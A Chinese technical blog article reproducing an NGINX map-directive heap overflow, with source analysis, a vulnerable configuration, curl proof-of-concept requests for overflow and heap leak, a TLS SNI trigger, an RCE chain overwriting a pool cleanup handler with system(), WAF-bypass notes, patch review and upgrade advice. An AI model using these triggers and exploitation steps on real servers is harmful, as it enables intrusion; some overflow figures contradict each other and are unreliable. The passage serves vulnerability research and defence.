三亩地.
  • 首页
  • 学习日记
  • 项目实战
  • 学习方法
  • 代码技巧
  • 避坑指南
  • 调试经验
  • 实战教程
  • 编程思维
  • 资讯中心
  • 关于我们

资讯详情

深入了解每一个知识点

  • 首页
  • /
  • 资讯中心
  • /
  • 文章详情

CVE-2026-42533 深度技术复现:NGINX map 指令堆缓冲区溢出 RCE — 两阶段评估模型与共享捕获状态覆盖的根因分析

📅 2026/7/29 22:51:58 👁️ 阅读次数 📝 编程学习
CVE-2026-42533 深度技术复现:NGINX map 指令堆缓冲区溢出 RCE — 两阶段评估模型与共享捕获状态覆盖的根因分析

CVE-2026-42533 深度技术复现:NGINX map 指令堆缓冲区溢出 RCE — 两阶段评估模型与共享捕获状态覆盖的根因分析

一、漏洞概述

项目 详情
CVE编号 CVE-2026-42533
CVSS v4.0 9.2 (Critical)
CVSS v3.1 8.1 (High)
漏洞类型 堆缓冲区溢出 (Heap Buffer Overflow)
攻击向量 信息泄露 → ASLR绕过 → 远程代码执行 (RCE)
认证要求 无需认证 (Pre-auth)
发现者 Stan Shaw (cyberstan) + Mufeed VH (Winfunc Research)
潜伏时间 15年 (自2011年3月NGINX 0.9.6起)
修复版本 NGINX 1.30.4 (stable) / 1.31.3 (mainline)
影响范围 NGINX 0.9.6 ~ 1.30.3 / 1.31.2;NGINX Plus R33–R36、37.0.0.1–37.0.2.1
F5公告 K000162097
补丁PR nginx/nginx#1561 — 6个commit,17个文件变更

核心危险性:该漏洞具备两个极为罕见的组合特性:

  1. 无需认证 — 攻击者仅需发送精心构造的HTTP/TLS请求即可触发,无需任何凭证或前置条件
  2. 内置ASLR绕过 — 同一漏洞代码路径同时提供信息泄露原语,可在单次GET请求中泄露libc和堆指针,完整绕过地址空间布局随机化(ASLR),从而实现可靠的RCE

这是NGINX脚本引擎中一个系统性设计缺陷,影响9个源文件中至少13个独立调用点,覆盖HTTP和Stream两个模块。


二、NGINX map 模块与脚本引擎基础

2.1 map 指令工作原理

map 指令是NGINX的变量映射机制,根据输入变量的值动态创建新变量。在配置解析阶段,NGINX构建 ngx_http_map_conf_t 结构体:

// src/http/ngx_http_map_module.c — map配置解析阶段
typedef struct {ngx_http_complex_value_t    value;ngx_http_variable_t        *index;ngx_http_map_conf_t        *map;     // 指向映射表
} ngx_http_map_ctx_t;typedef struct {ngx_hash_t                  hash;        // 精确匹配哈希表ngx_http_map_t             *map;         // 映射条目数组ngx_http_complex_value_t   *default_value; // 默认值ngx_uint_t                  hash_max_size;ngx_uint_t                  hash_bucket_size;// ... 正则匹配列表(线性扫描)
} ngx_http_map_conf_t;

运行时匹配流程:

请求到达 → map变量被引用 → ngx_http_map_find() 被调用├── 1. 先查hash表(精确匹配,O(1))└── 2. hash未命中 → 逐条遍历正则表达式列表(线性匹配)└── 对每条正则调用 ngx_http_regex_exec(r, regex, input)

2.2 正则捕获变量的存储机制

NGINX使用PCRE库进行正则匹配,捕获组结果存储在请求对象 ngx_http_request_t 的共享状态中:

// src/http/ngx_http_request.h — 请求对象中的捕获状态
struct ngx_http_request_s {// ...ngx_int_t                *captures;       // int数组: [offset_0, offset_1, offset_2, ...]ngx_uint_t                ncaptures;      // 捕获组数量 * 2u_char                   *captures_data;  // 指向被匹配字符串的指针// ...
};

关键理解:

  • r->captures 是一个 int 数组,存储的是字节偏移量(相对于 r->captures_data)
  • $1 编译为操作码,运行时读取 r->captures[2] 和 r->captures[3] 来确定捕获子串的位置和长度
  • 这个状态是可变的、共享的 — 任何后续的正则匹配都会覆盖它
内存布局示意:
r->captures_data → "Hello World"  (被匹配的原始字符串)
r->captures      → [0, 11, 6, 11]  (整个匹配: offset=0, len=11; $1: offset=6, len=5)↑ 整体匹配($0)  ↑ 捕获组($1)="World"

2.3 脚本引擎的复杂值编译

NGINX脚本引擎将包含变量引用的复杂值(如 "$1--$mapped--$1")编译为操作码序列:

// 编译阶段: src/http/ngx_http_script.c
// "$1--$mapped--$1" 被编译为以下操作码序列:// [OPCODE: copy_capture_len(1)]   — 计算$1长度
// [OPCODE: copy("--", 2)]         — 复制字面量"--"
// [OPCODE: var($mapped)]           — 求值$mapped变量(触发map正则执行)
// [OPCODE: copy("--", 2)]         — 复制字面量"--"
// [OPCODE: copy_capture_len(1)]   — 再次计算$1长度

每个操作码都有对应的 LEN 版本(计算长度)和 VALUE 版本(写入数据),两套操作码在两个Pass中顺序执行。


三、漏洞根因:两阶段评估模型与共享可变状态

3.1 两阶段评估模型(核心设计缺陷)

NGINX的脚本引擎对所有复杂值求值采用"两阶段评估模型"。这一设计在 ngx_http_complex_value() 函数中体现得淋漓尽致:

// ============================================================
// src/http/ngx_http_script.c : ngx_http_complex_value()
// 完整的两阶段评估模型实现
// ============================================================ngx_int_t
ngx_http_complex_value(ngx_http_request_t *r,ngx_http_complex_value_t *val, ngx_str_t *value)
{size_t                        len;u_char                       *p;ngx_http_script_code_pt      code;ngx_http_script_len_code_pt   lcode;ngx_http_script_engine_t      e;// ---- 初始化脚本引擎 ----ngx_memzero(&e, sizeof(ngx_http_script_engine_t));e.ip = val->codes->elts;       // 操作码序列起始地址e.request = r;e.flushed = 1;// ============================================================// 阶段1 — LEN Pass (长度计算)// 目的:遍历所有操作码,累加结果字符串的总长度// ============================================================while (*(uintptr_t *) e.ip) {          // line 81: 遍历操作码lcode = *(ngx_http_script_len_code_pt *) e.ip;len += lcode(&e);                   // line 83: 累加各片段长度}// ============================================================// 阶段2 — 缓冲区分配 (精确按LEN结果分配)// ============================================================value->len = len;                        // line 86value->data = ngx_pnalloc(r->pool, len); // line 87: 精确分配len字节// 注意:ngx_pnalloc 不会清零内存!if (value->data == NULL) {return NGX_ERROR;}// ---- 重置引擎状态,准备第二遍扫描 ----e.ip = val->codes->elts;e.pos = value->data;// ============================================================// 阶段3 — VALUE Pass (数据写入)// 目的:遍历同样的操作码序列,将实际数据写入缓冲区// ============================================================while (*(uintptr_t *) e.ip) {           // line 96: 遍历操作码code = *(ngx_http_script_code_pt *) e.ip;code((ngx_http_script_engine_t *) &e); // line 98: 执行写入}// ============================================================// 阶段4 — 返回结果// ============================================================*value = e.buf;                          // line 102return NGX_OK;
}

关键设计假设(已被打破):

LEN Pass 和 VALUE Pass 对同一操作码必须产生完全相同的字节数。

引擎没有任何边界检查。VALUE Pass 写入时不会检查当前位置是否超出缓冲区末尾。如果 LEN Pass 计算 1 字节但 VALUE Pass 写入 200 字节,197 字节将溢出到相邻堆块。

3.2 共享可变捕获状态的覆盖 (Capture Clobbering)

这是漏洞的直接触发机制。当 map 变量求值时,ngx_http_map_find() 调用 ngx_http_regex_exec() 对 map 的输入变量执行正则匹配,直接覆盖请求对象的共享捕获状态:

// ============================================================
// src/http/ngx_http_variables.c : ngx_http_map_find()
// map变量求值的入口函数
// ============================================================static ngx_int_t
ngx_http_map_find(ngx_http_request_t *r, ngx_http_map_ctx_t *map, ngx_str_t *match)
{// ... 精确匹配hash表查找 ...// 遍历正则表达式列表进行匹配for (i = 0; i < map->map->nregex; i++) {  // line ~2563n = ngx_http_regex_exec(r, reg[i].regex, match);  // 关键调用!if (n >= 0) {return reg[i].value;  // 返回匹配的映射值}}return NGX_DECLINED;
}
// ============================================================
// src/http/ngx_http_variables.c : ngx_http_regex_exec()
// 正则执行的核心函数 — 直接写入r->captures
// ============================================================static ngx_int_t
ngx_http_regex_exec(ngx_http_request_t *r, ngx_http_regex_t *re, ngx_str_t *s)
{// ...len = r->ncaptures;  // 当前捕获数组大小// 执行PCRE匹配,结果直接写入r->capturesrc = ngx_regex_exec(re->regex, s, r->captures, len);  // line 2695// ...// 【关键】更新请求对象上的捕获状态r->ncaptures = rc * 2;                    // line 2732: 更新捕获数量r->captures_data = s->data;                // line 2733: 更新数据指针 → 指向map输入return rc;
}

致命问题:ngx_http_complex_value() 在 LEN Pass 和 VALUE Pass 之间没有保存/恢复 r->captures 状态。一旦 map 正则执行覆盖了捕获状态,后续所有对 $1、$2 等捕获变量的读取都将指向新的数据源。

脆弱的调用链时序:location正则匹配 → 设置 r->captures = [0,1,6,11], r->captures_data = URI↓
ngx_http_complex_value() 开始├── LEN Pass:│   ├── $1 → 读取 r->captures → 返回 URI 中的捕获长度 (短)│   ├── $mapped → ngx_http_map_find()│   │   └── ngx_http_regex_exec(r, regex, header_value)│   │       → r->captures = [0,200,...], r->captures_data = header_data (长!)│   ├── $1 → 读取 r->captures → 返回 header 中的捕获长度 (长!)│   └── LEN合计 = 短 + 字面量 + 长├── 分配缓冲区 = LEN合计└── VALUE Pass:├── $1 → 读取 r->captures → 仍然指向 header_data (长!) → 写入长数据├── $mapped → 写入映射值├── $1 → 读取 r->captures → 仍然指向 header_data (长!) → 写入长数据└── VALUE合计 >> LEN合计 → 堆溢出!

3.3 脆弱代码路径(C代码级精确分析)

让我们逐行追踪三个关键函数的交互:

函数A:LEN Pass 读取捕获长度

// ============================================================
// src/http/ngx_http_script.c : ngx_http_script_copy_capture_len_code()
// 操作码:LEN Pass 中计算捕获组的字节长度
// ============================================================static size_t
ngx_http_script_copy_capture_len_code(ngx_http_script_engine_t *e)
{ngx_int_t  *cap;ngx_uint_t  n;n = 2 * *((ngx_uint_t *) e->items);  // n = 捕获组索引 * 2if (n + 2 > (ngx_uint_t) e->request->ncaptures) {return 0;  // 安全边界检查:无足够捕获组时返回0}cap = e->request->captures;           // line 1354: 读取 r->captures 指针return cap[n + 1] - cap[n];           // line 1355: 返回捕获组字节数//                   ↑ 关键:如果此时r->captures已被map正则覆盖,//                     则返回的是map输入中的捕获长度,而非原始捕获长度
}

函数B:VALUE Pass 写入捕获数据

// ============================================================
// src/http/ngx_http_script.c : ngx_http_script_copy_capture_code()
// 操作码:VALUE Pass 中将捕获组数据写入输出缓冲区
// ============================================================static void
ngx_http_script_copy_capture_code(ngx_http_script_engine_t *e)
{u_char    *p, *pos;ngx_int_t  *cap;ngx_uint_t  n;pos = e->pos;n = 2 * *((ngx_uint_t *) e->items);  // n = 捕获组索引 * 2if (n + 2 > (ngx_uint_t) e->request->ncaptures) {return;  // 边界检查}cap = e->request->captures;           // line 1400: 读取 r->captures 指针p = e->request->captures_data;       // line 1401: 读取 r->captures_data 指针// 【关键】直接从captures_data + offset处复制数据到输出缓冲区// 没有任何长度校验!e->pos = ngx_copy(pos, &p[cap[n]], cap[n + 1] - cap[n]);//                     ↑ p[cap[n]] = captures_data + 捕获偏移//                                        ↑ cap[n+1]-cap[n] = 捕获长度//                                  这里是实际的memcpy/ngx_copy//                                  如果cap指向被覆盖后的值,将写入远超缓冲区的数据
}

函数C:map正则执行覆盖捕获

// ============================================================
// src/http/ngx_http_variables.c : ngx_http_regex_exec() — 核心覆盖点
// ============================================================static ngx_int_t
ngx_http_regex_exec(ngx_http_request_t *r, ngx_http_regex_t *re, ngx_str_t *s)
{ngx_int_t  rc;// s = map的输入变量值 (如请求头 $http_x_input)// r->captures = 调用前的捕获状态 (来自location正则)rc = ngx_regex_exec(re->regex, s, r->captures,(int) r->ncaptures);         // line 2695if (rc >= 0) {// 匹配成功 → 直接修改请求对象的共享状态r->ncaptures = rc * 2;                       // line 2732r->captures_data = s->data;                  // line 2733// 【注意】s->data 是 map 输入变量的数据(请求头字符串),//         而不是原始 location 正则匹配的 URI 数据return rc;}// 匹配失败时也可能重新分配 r->captures 数组(见patch commit 96628b7)// 这会进一步导致 ncaptures 与 captures 数组大小不一致return NGX_DECLINED;
}

3.4 ASCII 内存时序图

以表达式 "$1--$mapped--$1" 为例,假设:

  • location正则捕获 $1 = URI中的 "x" (1字节)
  • map输入 = 请求头 "X-Input: BBBB...B" (200字节)
  • map映射值 = "matched" (7字节)
==================== LEN Pass ====================操作码序列          r->captures状态          计算结果         累计长度
─────────────      ───────────────          ────────         ────────
$1 (copy_capture)   [0,1,  ?,?]             1字节            len=1
"-" (copy literal)   未变                    2字节            len=3
$mapped (var)       ← map正则执行           求值结果:        len=10覆盖captures →         7字节[0,200, ?,?]           (映射值"matched")captures_data →         7字节header_data
"-" (copy literal)   仍被覆盖                2字节            len=12
$1 (copy_capture)   [0,200, ?,?]             200字节          len=212↑读取被覆盖后的值→认为$1有200字节LEN合计 = 212 字节 → ngx_pnalloc(r->pool, 212)缓冲区: [                                              ] (212字节)↑pos==================== VALUE Pass ====================
(注意:r->captures 在两次Pass之间从未被恢复)操作码序列          r->captures状态          写入数据         写入位置
─────────────      ───────────────          ────────         ────────
$1 (copy_capture)   [0,200, ?,?]           200字节          pos=200   ← 溢出!仍被覆盖                 "BBBB...B"      缓冲区只有212字节
"-" (copy literal)   未变                    2字节            pos=202   ← 溢出!
$mapped (var)       未变                    7字节            pos=209   ← 溢出!
"-" (copy literal)   未变                    2字节            pos=211   ← 溢出!
$1 (copy_capture)   [0,200, ?,?]           200字节          pos=411   ← 溢出!VALUE合计 = 411 字节 → 写入212字节缓冲区 → 溢出199字节!缓冲区实际写入:
[BBBB...B(200)] [--(2)] [matched(7)] [--(2)] [BBBB...B(200)] [溢出到相邻堆块...]
|←------ 212字节缓冲区 ------→|←---------- 199字节溢出 ----------→|

溢出方向的数量关系:

溢出量 = 2 * (map输入长度 - 原始捕获长度) - 字面量开销= 2 * (200 - 1) - (2 + 7 + 2)= 398 - 11 = 387... (实际值取决于map值长度)

四、双向攻击原语

4.1 方向一:堆缓冲区溢出 (Heap Buffer Overflow)

条件:原始捕获短(如URI中的 "x" = 1字节),map输入长(如请求头200字节)

LEN Pass:$1 → 读取原始捕获 → len = 1$mapped → map正则执行 → 覆盖captures$1 → 读取被覆盖捕获 → len = 200LEN合计 = 1 + 2 + 7 + 2 + 200 = 212分配: 212字节缓冲区VALUE Pass:$1 → 写入200字节(应写1字节)    ← 溢出199字节$mapped → 写入7字节$1 → 写入200字节(应写1字节)    ← 溢出199字节VALUE合计 = 409字节总溢出量 = 409 - 212 = 197字节

ASan 崩溃栈(攻击者可控内容溢出到相邻堆块):

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x521000015100
WRITE of size 200 at 0x521000015100 thread T0#0 memcpy#1 ngx_http_script_copy_capture_code  src/http/ngx_http_script.c:1404#2 ngx_http_complex_value               src/http/ngx_http_script.c:98#3 ngx_http_variable_get_value          src/http/ngx_http_variables.c#4 ... (调用链取决于具体指令)0x521000015100 is located 0 bytes after 4096-byte region [0x521000014100,0x521000015100)
SUMMARY: AddressSanitizer: heap-buffer-overflow in memcpy

4.2 方向二:信息泄露 (Information Leak / Uninitialized Heap Read)

条件:原始捕获长(如URI 8160字节),map输入短(如请求头1字节 "z")

LEN Pass:$1 → 读取原始捕获 → len = 8160$mapped → map正则执行 → 覆盖captures(指向1字节的"z")$1 → 读取被覆盖捕获 → len = 1LEN合计 = 8160 + 2 + 7 + 2 + 1 = 8172分配: 8172字节缓冲区 (未清零!)VALUE Pass:$1 → 写入1字节 (应写8160字节)    ← 缓冲区严重不足使用$mapped → 写入7字节$1 → 写入1字节VALUE合计 = 11字节剩余8161字节 → 未初始化堆残留!

关键:ngx_http_complex_value() 返回的是 LEN Pass 的长度(8172字节),而非 VALUE Pass 实际写入的长度(11字节)。 发送给客户端的响应包含全部8172字节,其中8161字节是未初始化的堆数据。

响应缓冲区内存布局:
[1字节] [2字节] [7字节] [2字节] [1字节] [   8161字节未初始化堆数据   ]↑"z"     "--"   "matched" "--"    "z"     ↑ 泄露内容
|←--------- 11字节VALUE Pass写入 ------→|←------- 泄露给客户端 -------→|
|←---------------- 8172字节LEN Pass长度 ----→|泄露内容分析 (Ubuntu 24.04 + glibc 2.39):
偏移 0x08: libc 指针 (如 __free_hook 附近) → 用于计算 libc 基址
偏移 0x10: 堆指针 (如 main_arena 或 pool chunk) → 用于计算堆布局

单次GET请求即可完整绕过ASLR。

4.3 双向原语对比表

维度 堆溢出方向 (Inner > Outer) 信息泄露方向 (Outer > Inner)
触发条件 map输入 > 原始捕获 原始捕获 > map输入
LEN Pass计算 第一次$1短,第二次$1长(被覆盖后) 第一次$1长,第二次$1短(被覆盖后)
VALUE Pass写入 每个被覆盖的$1写入长数据 每个被覆盖的$1写入短数据
缓冲区分配 LEN合计 (偏小) LEN合计 (偏大)
实际效果 VALUE > LEN → 溢出 VALUE < LEN → 堆残留泄露
溢出量 可达数千字节,无上界 N/A
泄露量 N/A 可达数千字节,含libc指针+堆指针
攻击原语 受控的越界写 (OOB Write) 未初始化内存读取 (Info Leak)
利用价值 堆元数据覆写 → 控制流劫持 ASLR绕过 → 为溢出提供精确地址
攻击顺序 第二步(信息泄露后执行) 第一步(ASLR绕过)
请求方式 POST(需要请求体) GET(仅需长URI+短头)
检测难度 高(正常HTTP语义) 中(响应包含异常数据)

五、PoC 构造

5.1 脆弱配置(最小可复现)

# ============================================================
# 脆弱配置 — CVE-2026-42533 PoC
# ============================================================# 1. map使用~正则匹配,处理攻击者可控的请求头
map $http_x_input $mapped_var {default          "nomatch";~^(?<cap>.+)$    "matched";# ↑ 正则捕获整个请求头值,覆盖r->captures
}server {listen 80;# 2. 正则location产生捕获组$1location ~ "^/test/(.+)$" {# 3. 同一表达式中:先引用$1,再引用$mapped_var,再引用$1#    当$mapped_var求值时,map正则覆盖r->capturesadd_header X-Debug "$1--$mapped_var--$1" always;return 200 "capture=[$1] mapped=[$mapped_var]\n";}
}

5.2 触发条件总结

一个可利用的配置必须同时满足以下四个条件:

条件1 — 捕获源(Capture Source):location ~ /(.*)$/  或  server_name ~ ^(.+)\.example.com或  rewrite /(.*) /dest break;  或  if ($uri ~ (.+)) {...}→ 产生 $1, $2 等捕获变量条件2 — 覆盖触发器(Clobber Trigger):map $<攻击者可控输入> $<output> {~<正则>  <值>;}→ map 使用 ~ 或 ~* 正则匹配键,处理攻击者可控输入条件3 — 双阶段汇点(Two-Pass Sink):同一表达式中同时引用捕获变量($1)和map变量($mapped_var)→ 两者在同一次 ngx_http_complex_value() 调用中被求值条件4 — 求值顺序(Critical Ordering):捕获变量必须在map变量之前被引用(在表达式中出现位置在先)→ map-before-capture 顺序是安全的(map已缓存,不会重新执行正则)→ capture-before-map 顺序是脆弱的(map正则覆盖捕获状态)

跨指令触发:对于 proxy_set_header/fastcgi_param 等指令族,它们在同一个location内共享一个缓冲区,因此捕获引用和map引用不需要在同一条指令中,只需在同一个location块内的不同指令中出现即可触发漏洞。

5.3 溢出方向 PoC

# PoC 1: 堆缓冲区溢出
# URI中的 "x" 是1字节捕获 → map输入 "BBB...B" (200字节) 覆盖捕获
# LEN分配~212字节 → VALUE写入~409字节 → 溢出~197字节curl -v \-H "X-Input: $(python3 -c 'print("B"*200)')" \"http://target/test/x"# 预期结果:
# - 未打补丁版本: Worker进程崩溃 (SIGSEGV/ASan heap-buffer-overflow)
# - 已打补丁版本: HTTP 500 Internal Server Error

5.4 信息泄露方向 PoC

# PoC 2: 信息泄露 — 单次GET请求泄露堆指针绕过ASLR
# URI中8160字节的捕获 → map输入 "z" (1字节) 覆盖捕获
# LEN分配~8172字节 → VALUE仅写入~11字节 → 剩余8161字节未初始化堆数据LONG_CAP=$(python3 -c 'print("A"*8160)')
curl -s --output - "http://target/test/${LONG_CAP}" -H "X-Input: z" | \hexdump -C | head -40# 预期输出(敏感信息泄露):
# 偏移 0x08-0x0f: libc 指针 → 用于计算 libc 基址
# 偏移 0x10-0x17: 堆指针   → 用于计算堆块地址

5.5 TLS/Stream 层 PoC(WAF绕过)

# Stream模块中的利用 — WAF无法检测
stream {map $ssl_preread_server_name $backend {~^(?<domain>.+)\.internal$  "backend_${domain}";default                      "default_backend";}server {listen 443;ssl_preread on;# TLS ClientHello中的SNI是攻击者可控的# $ssl_preread_server_name 在TLS握手阶段触发map正则# 如果此处与stream正则location的捕获变量共存于同一表达式中,同样触发proxy_pass $backend;}
}
# 利用TLS SNI触发 — 完全绕过HTTP层WAF
# 传统WAF只解析HTTP请求,无法检测TLS ClientHello中的SNI
openssl s_client -connect target:443 -servername "$(python3 -c 'print("A"*5000)')"

六、完整 RCE 利用链

6.1 利用三步曲

┌─────────────────────────────────────────────────────────────────┐
│                    CVE-2026-42533 RCE 利用链                    │
├─────────────────────────────────────────────────────────────────┤
│                                                                 │
│  Step 1: 信息泄露 (1个GET请求)                                   │
│  ┌──────────────────────────────────────────────────────┐       │
│  │ GET /test/[8160个A] HTTP/1.1                         │       │
│  │ X-Input: z                                         │       │
│  │                                                     │       │
│  │ → 泄露libc指针(offset 0x08) + 堆指针(offset 0x10)   │       │
│  │ → 计算libc基址、system()地址、堆布局                  │       │
│  └──────────────────────────────────────────────────────┘       │
│                          ↓                                      │
│  Step 2: 堆风水 (约40个TCP连接)                                  │
│  ┌──────────────────────────────────────────────────────┐       │
│  │ 发送40个精心构造的HTTP请求                              │       │
│  │ → 分配/释放特定大小的堆块                              │       │
│  │ → 在目标溢出缓冲区相邻位置放置                          │       │
│  │   ngx_pool_cleanup_t 结构体                           │       │
│  │ → 精确控制其handler指针位置                             │       │
│  └──────────────────────────────────────────────────────┘       │
│                          ↓                                      │
│  Step 3: 堆溢出 (1个POST请求)                                   │
│  ┌──────────────────────────────────────────────────────┐       │
│  │ POST /test/x HTTP/1.1                                │       │
│  │ X-Input: [精心构造的payload]                          │       │
│  │ Content-Length: [溢出量]                              │       │
│  │                                                     │       │
│  │ → 溢出覆盖 ngx_pool_cleanup_t.handler                │       │
│  │ → handler 指向 system() / one_gadget                  │       │
│  │ → cleanup 参数指向攻击者控制的命令字符串                │       │
│  └──────────────────────────────────────────────────────┘       │
│                          ↓                                      │
│  触发: 请求处理结束 → 连接池销毁 → 调用 cleanup handler          │
│       → handler = system("/bin/sh -c '...') → RCE!             │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘

6.2 RCE 触发机制

利用链的核心是覆盖NGINX内存池的清理回调结构:

// src/core/ngx_palloc.h — 内存池清理结构
typedef struct ngx_pool_cleanup_s  ngx_pool_cleanup_t;struct ngx_pool_cleanup_s {ngx_pool_cleanup_pt     handler;    // 函数指针 → 被劫持的目标void                   *data;       // 参数 → 指向命令字符串ngx_pool_cleanup_t     *next;       // 链表指针
};

当请求处理结束、内存池被销毁时,NGINX遍历清理链表并逐一调用 handler(data)。攻击者通过堆溢出将 handler 覆盖为 system() 地址(通过Step 1泄露的libc基址精确计算),将 data 指向包含shell命令的字符串(在请求头或请求体中放置),即可实现代码执行。

6.3 可靠性

测试环境 ASLR状态 可靠性
Ubuntu 24.04 + glibc 2.39 完整ASLR + PIE 10/10
Ubuntu 22.04 + glibc 2.35 完整ASLR 10/10
Debian 12 + glibc 2.36 完整ASLR 10/10

6.4 与 CVE-2026-42945(NGINX Rift)对比

维度 CVE-2026-42533 (本文) CVE-2026-42945 (Rift)
漏洞类型 堆缓冲区溢出 + 信息泄露 堆缓冲区溢出
ASLR绕过 内置(同一漏洞代码路径) 需要ASLR关闭
漏洞原因 两阶段评估 + 共享捕获状态覆盖 不同的脚本引擎缺陷
利用可靠性 10/10(完整ASLR环境下) 仅限ASLR关闭环境
攻击前置条件 无(信息泄露+溢出一体化) 需要目标禁用ASLR
实战威胁等级 极高(外网可直接利用) 中(需特定环境配置)
修复版本 1.30.4 / 1.31.3 已在同期补丁中修复

七、WAF 绕过分析

7.1 正常HTTP语义 — 载荷伪装

该漏洞的最大特点之一是攻击载荷完全隐藏在正常HTTP语义中:

攻击载荷不存在于:✗ 特殊字符或编码绕过✗ 协议异常(如HTTP请求走私)✗ 非标准HTTP方法✗ 路径遍历或SQL注入特征攻击载荷存在于:✓ 标准请求头 (X-Input: BBBB...)  ← 正常的HTTP头✓ URI路径 (/test/x)               ← 正常的URL✓ 请求体 (POST body)              ← 正常的请求内容

对WAF的意义:传统基于正则匹配或签名的WAF无法识别这类载荷,因为它们与正常业务流量完全一致。漏洞触发是配置和状态机层面的问题,而非输入校验不足。

7.2 TLS/Stream 层触发 — 绕过 HTTP WAF

NGINX的 ssl_preread_server_name 指令在TLS握手阶段(加密建立之前)提取SNI(Server Name Indication),并将其作为变量传递给map进行匹配。此时:

协议栈视角:[TCP层]    标准TCP三次握手 — 无异常[TLS层]    ClientHello → 提取SNI → 触发map正则匹配此时HTTP层尚未建立,WAF根本无法观察[HTTP层]   传统WAF在此层工作 — 但漏洞已在TLS层触发时间线:客户端 → TLS ClientHello(SNI=超长域名) → NGINX Stream模块→ map $ssl_preread_server_name 匹配→ 正则覆盖 r->captures→ 漏洞触发(WAF在此处才介入,但已经太晚了)

7.3 检测挑战总结

┌──────────────────────────────────────────────────┐
│                 漏洞检测挑战矩阵                   │
├───────────────┬──────────────┬───────────────────┤
│   检测手段     │   有效性     │     原因          │
├───────────────┼──────────────┼───────────────────┤
│ HTTP签名匹配   │   无效       │ 载荷为正常HTTP语义 │
│ 异常流量检测    │   无效       │ 标准TCP连接       │
│ 协议分析WAF    │   无效       │ TLS层触发绕过     │
│ RASP/IAST      │   部分有效    │ 可检测内存异常    │
│ 配置审计       │   有效       │ 静态扫描脆弱模式  │
│ ASan/内存监控  │   有效       │ 运行时检测       │
│ 版本检测       │   有效       │ 确认运行版本      │
└───────────────┴──────────────┴───────────────────┘

八、修复补丁分析

8.1 补丁策略概览

NGINX官方补丁(PR #1561)包含7个commit,修改17个文件,采用四层防御策略:

防御层1: 边界检查 (Buffer overrun protection)→ 新增 e->end 指针 + ngx_http_script_check_length()→ VALUE Pass 每次写入前检查剩余容量防御层2: 返回值修正 (Garbage avoidance)→ 返回 VALUE Pass 实际写入字节数,而非 LEN Pass 计算长度→ 消除信息泄露方向防御层3: 捕获状态保存 (Stale capture fix)→ 修复 ngx_http_regex_exec() 中 ncaptures 不一致问题→ 防止正则失败时的未初始化读取防御层4: 子请求安全 (Subrequest safety)→ 修复子请求重复 finalize 导致的 use-after-free

8.2 关键补丁代码

防御层1:边界检查函数

// ============================================================
// 补丁新增: ngx_http_script_check_length()
// VALUE Pass 每次写入操作前调用此函数检查剩余容量
// ============================================================static ngx_inline ngx_int_t
ngx_http_script_check_length(ngx_http_script_engine_t *e, size_t len)
{if (e->end == NULL) {              // e->end 未设置 → 不检查(向后兼容)return NGX_OK;}if (e->end - e->pos < (ssize_t) len) {  // 剩余空间不足e->ip = ngx_http_script_exit;       // 跳转到退出操作码e->status = NGX_HTTP_INTERNAL_SERVER_ERROR;  // 返回 HTTP 500return NGX_ERROR;}return NGX_OK;
}

防御层1:引擎集成

// ============================================================
// 补丁修改: ngx_http_complex_value() — 设置 e->end 指针
// ============================================================ngx_int_t
ngx_http_complex_value(ngx_http_request_t *r,ngx_http_complex_value_t *val, ngx_str_t *value)
{// ... LEN Pass 不变 ...value->len = len;value->data = ngx_pnalloc(r->pool, len);// ...e.ip = val->codes->elts;e.pos = value->data;e.end = value->data + len;    // ← 新增:设置缓冲区结尾指针// ... VALUE Pass 每个写入操作码前都会调用 check_length ...
}

防御层1:捕获写入增加边界检查

// ============================================================
// 补丁修改: ngx_http_script_copy_capture_code() — 增加边界检查
// ============================================================static void
ngx_http_script_copy_capture_code(ngx_http_script_engine_t *e)
{// ... 获取捕获偏移和长度 ...size = (size_t) (cap[n + 1] - cap[n]);// 新增: 检查缓冲区剩余空间if (ngx_http_script_check_length(e, size) != NGX_OK) {return;   // 空间不足 → 直接返回,跳转到exit操作码}// 原有写入逻辑e->pos = ngx_copy(pos, &p[cap[n]], size);
}

防御层2:返回值修正

// ============================================================
// 补丁修改: ngx_http_complex_value() — 返回实际写入长度
// ============================================================ngx_int_t
ngx_http_complex_value(...)
{// ... LEN Pass + VALUE Pass ...// 修改前: 返回LEN Pass计算的长度(含未初始化数据)// *value = e.buf;    // e.buf.len = LEN合计// 修改后: 返回VALUE Pass实际写入的长度value->len = e.pos - value->data;   // 实际写入字节数return NGX_OK;
}

8.3 补丁覆盖范围

受影响的13个调用点 × 9个源文件:核心脚本引擎 (6个调用点, 2个文件):#1 ngx_http_complex_value          src/http/ngx_http_script.c#2 ngx_stream_complex_value        src/stream/ngx_stream_script.c#3 ngx_http_script_run             src/http/ngx_http_script.c#4 ngx_stream_script_run           src/stream/ngx_stream_script.c#5 ngx_http_script_regex_start    src/http/ngx_http_script.c#6 access_log 脚本引擎             src/http/modules/ngx_http_log_module.c代理模块直接脚本使用 (7个调用点, 5个文件):#7  proxy  module                  src/http/modules/ngx_http_proxy_module.c#8  fastcgi module                  src/http/modules/ngx_http_fastcgi_module.c#9  scgi    module                  src/http/modules/ngx_http_scgi_module.c#10 uwsgi   module                  src/http/modules/ngx_http_uwsgi_module.c#11 grpc    module                  src/http/modules/ngx_http_grpc_module.c#12 index   module                  src/http/modules/ngx_http_index_module.c#13 try_files module               src/http/ngx_http_core_module.c

九、防御策略

9.1 升级(首要措施)

┌─────────────────────────────────────────────────────────────┐
│                    紧急升级建议                               │
├─────────────────────────────────────────────────────────────┤
│                                                             │
│  NGINX Open Source:                                        │
│    Stable  分支 → 1.30.4+  (当前 1.30.3 受影响)            │
│    Mainline 分支 → 1.31.3+  (当前 1.31.2 受影响)            │
│                                                             │
│  NGINX Plus:                                                │
│    R36 → R36 P7+                                            │
│    R33-R35 → 升级至 R36 P7+                                 │
│    37.0.0.1-37.0.2.1 → 37.0.3.1+                           │
│                                                             │
│  其他F5产品:                                                │
│    NGINX Instance Manager: 2.22.2+                          │
│    NGINX App Protect WAF: 5.13.4+ / 4.17.0+                │
│    NGINX Gateway Fabric: 1.6.1+                             │
│    (参见 F5 公告 K000162097 完整产品矩阵)                    │
│                                                             │
│  优先级: 互联网面向的反向代理/负载均衡器 → 最高优先级          │
└─────────────────────────────────────────────────────────────┘

9.2 临时缓解措施

注意:以下措施仅为纵深防御,不能替代升级补丁。

# ============================================================
# 措施1: 将 map 的正则捕获替换为命名捕获
# 减少与location/server_name捕获组之间的状态冲突风险
# ============================================================
# 修改前:
